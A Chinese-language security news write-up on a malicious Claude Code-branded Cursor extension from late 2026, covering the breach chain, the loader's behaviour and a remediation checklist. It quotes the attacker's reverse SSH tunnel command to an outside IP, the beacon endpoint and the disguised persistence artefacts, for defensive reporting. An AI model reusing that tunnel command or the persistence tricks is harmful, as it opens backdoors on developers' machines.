夜雨聆风学习资料网

ARTICLE · 1358238

卸载不等于清除:Cursor 恶意扩展在架 11 小时,最多 5000 台开发机被塞进 SSH 公钥

卸载不等于清除:Cursor 恶意扩展在架 11 小时,最多 5000 台开发机被塞进 SSH 公钥

卸载不等于清除:Cursor 恶意扩展在架 11 小时,最多 5000 台开发机被塞进 SSH 公钥

笔记本上 Cursor 扩展列表显示 Anthropic.claude-code 2.1.313 与待更新按钮,旁边便签写着轮换密钥(事件配图,非官方事故截图)

电路板上的挂锁实拍照片(题材配图,指密钥与权限边界)

安全运营监控大厅实景(题材配图,非本次事件现场)

这是一起特别适合拿来做内部分享的安全事件:扩展的编号是真的、发布者是真的、签名没破、Anthropic 的系统也没被攻破,破口只在「谁能写市场缓存」这一层。自动更新负责把这一次错误,变成了最多 5000 台开发机上的一次「正常更新」。而最容易被忽略的一句话是——卸载扩展,删不掉写在扩展目录外面的东西。

先把时间线和版本对齐

据 Cursor 官方安全公告与 11 月 13 日的事故复盘,微软安全博客 10 月 30 日的拆包分析,以及 OpenSourceMalware、The Hacker News 等报道:太平洋时间 10 月 29 日凌晨 2:27,Cursor 扩展市场里的 Claude Code 更新了一版,下午 1:35 被撤下,前后约 11 小时。官方当时最新是 2.1.312(10 月 27 日发布),市场里出现的却是 2.1.313;Anthropic 从未发布过 2.1.313,官方下一版直接跳到 10 月 30 日的 2.1.314。编辑器判断要不要装看的是版本号大小,高一位就够了。Cursor 的安全通知把 2.1.312 与 2.1.313 都列为受影响版本——一个真号,也可能被塞进别的内容。

Cursor 的口径是:10 月 29 日请求特定缓存版本的用户里,最多 5000 人可能收到该构建,绝大多数客户未受影响,隐私模式下的提示词与代码不受影响。同一份复盘里还有两个不能混的比例:非隐私模式用户中链路追踪被暴露的不到 0.05%,接口凭证被暴露的客户不到 0.01%。11 月 1 日拦下最后一次攻击活动,公司认为事件已受控。

那 66 行到底做了什么

据微软安全研究团队 10 月 30 日的分析,恶意代码插在扩展主 JavaScript 文件最前面,OpenSourceMalware 数出 66 行,模块一被加载就执行,不需要谁点开 Claude Code 面板。它干五件事:往 SSH 授权文件里塞一把带 svc-telemetry 注释的攻击者公钥、尝试启用本机 SSH 服务、建一条反向隧道、写持久化、把主机信息发回去。

隧道命令形如 ssh -N -R '*:0:localhost:22',连到 tunnel@134.209.82.225,意思是开发机主动往外连,对方从这根管子反向走进来敲本机 22 端口;代码关掉了主机指纹校验,断了 60 秒重连一次。持久化按平台分三套:macOS 写 com.apple.sysmond.plist 启动代理,Linux 往用户 crontab 塞 @reboot,Windows 建名为 SysMon 的计划任务并试图以系统身份运行;配套脚本藏在 ~/.config/.smt 与 .smtk。名字都挑得很乖,看着像系统组件。

回传用的是明文 HTTP,发到 134.209.82.225:8099/beacon,内容包括主机名、用户名、系统、架构、home 与当前目录、Git 全局邮箱,以及最多 40 个环境变量的名字——注意是名字不是值,但光看名字就够判断这台机器上有没有云厂商的钥匙。

有个反讽的细节:这次没把所有人端掉,一部分原因是攻击者自己没跑通。启用本机 SSH 服务要管理员权限,大多数 macOS 与 Windows 主机上扩展没有这个权限,代码本身也有错。Cursor 的分析是多数主机上 SSH 那一步会失败,隧道那头没有可转发的目标。但微软的原话更重要:即使隧道建立失败,加载器也可能已经写入了密钥与持久化文件。「没被登录」和「机器干净」是两件事,别把前者当后者。

一条从存储桶通到市场缓存的链

Cursor 11 月 13 日的复盘把起点讲清楚了:攻击者先拿到 Cursor 发给 Fireworks 的访问密钥,密钥是 Fireworks 那边泄露的;用它从 Cursor 共享给 Fireworks 的只读存储桶拷走数据,桶里是编程智能体的链路追踪,大部分来自 2025 年、来自未开隐私模式的会话,其中少量追踪带着未脱敏的凭证;从这些凭证出发,攻击者进了 Cursor 在用的几个软件服务,摸到非生产代码仓库、部分客服数据与部分用户凭证;最后用偷来的内部凭证,把篡改版 Claude Code 直接放进「用于服务市场」的那层缓存。

边界也要写清,不然容易读成「5000 人凭证被偷」:微软与 OpenSourceMalware 的口径是,恶意包只在 Cursor 市场出现,微软的 VS Code 市场、npm 上的 @anthropic-ai/claude-code、Open VSX 以及 Anthropic 的系统都没有被攻破。被换掉的只是 Cursor 自己那份给市场用的缓存。仍未确认的有两处:攻击者具体怎么拿到能写缓存的凭证,官方没有细说;5000 人里到底多少台机器真正执行了载荷,也没有公开数字。

Cursor 在处置里有三个动作值得记:为保险临时停用的服务超过证据要求范围、10 月 30 日就把失陷指标与检查脚本发在博客上、把「没受影响」的部分列得和「受了影响」一样细。信息给得越具体,恐慌越少。

可带走清单:①先查 ~/.ssh/authorized_keys 是否有 svc-telemetry 标记,命中即视为失陷设备,不要只看扩展还在不在;②查扩展目录之外的残留:~/.config/.smt 与 .smtk、macOS 的 com.apple.sysmond.plist、Linux 用户 crontab 的 @reboot、Windows 名为 SysMon 的计划任务;③确认命中 2.1.312 或 2.1.313 后,轮换云凭证、接口密钥与 SSH 密钥,撤销活跃会话,别只做卸载;④把编辑器扩展纳入终端资产台账,记录名称、发布者、版本与自动更新状态,开发机关掉无审批的自动更新或锁定版本;⑤审计开发机上哪些扩展拥有读取工作区文件与执行子进程的权限,按最小权限收紧;⑥对外发流量加出站规则,明文 HTTP 回传与异常 SSH 外连应能直接告警;⑦第三方供应商持有的只读存储桶同样要脱敏,链路追踪里别留未打码的凭证。

每天都有来自全球的及时 IT 新闻与深度解读,点个关注、点个赞,AI 与运维干货不迷路。

来源:Cursor 官方博客《An update on our recent security incident》(2026-11-13)与《Security notice 2.1.312 / 2.1.313》(2026-10-29)、微软安全博客《Inside malicious Claude Code-branded Cursor extension: persistent SSH backdoor》(2026-10-30)、OpenSourceMalware、The Hacker News、BleepingComputer、FreeBuf 与 11 月 15 日中文复盘稿;数据截至 2026 年 11 月 15 日,处置以厂商官方公告为准。

回首页,搜索你想要的文档

在首页搜索框输入关键词,快速定位资料

文库首页搜索指引 立即搜索

相关学习资料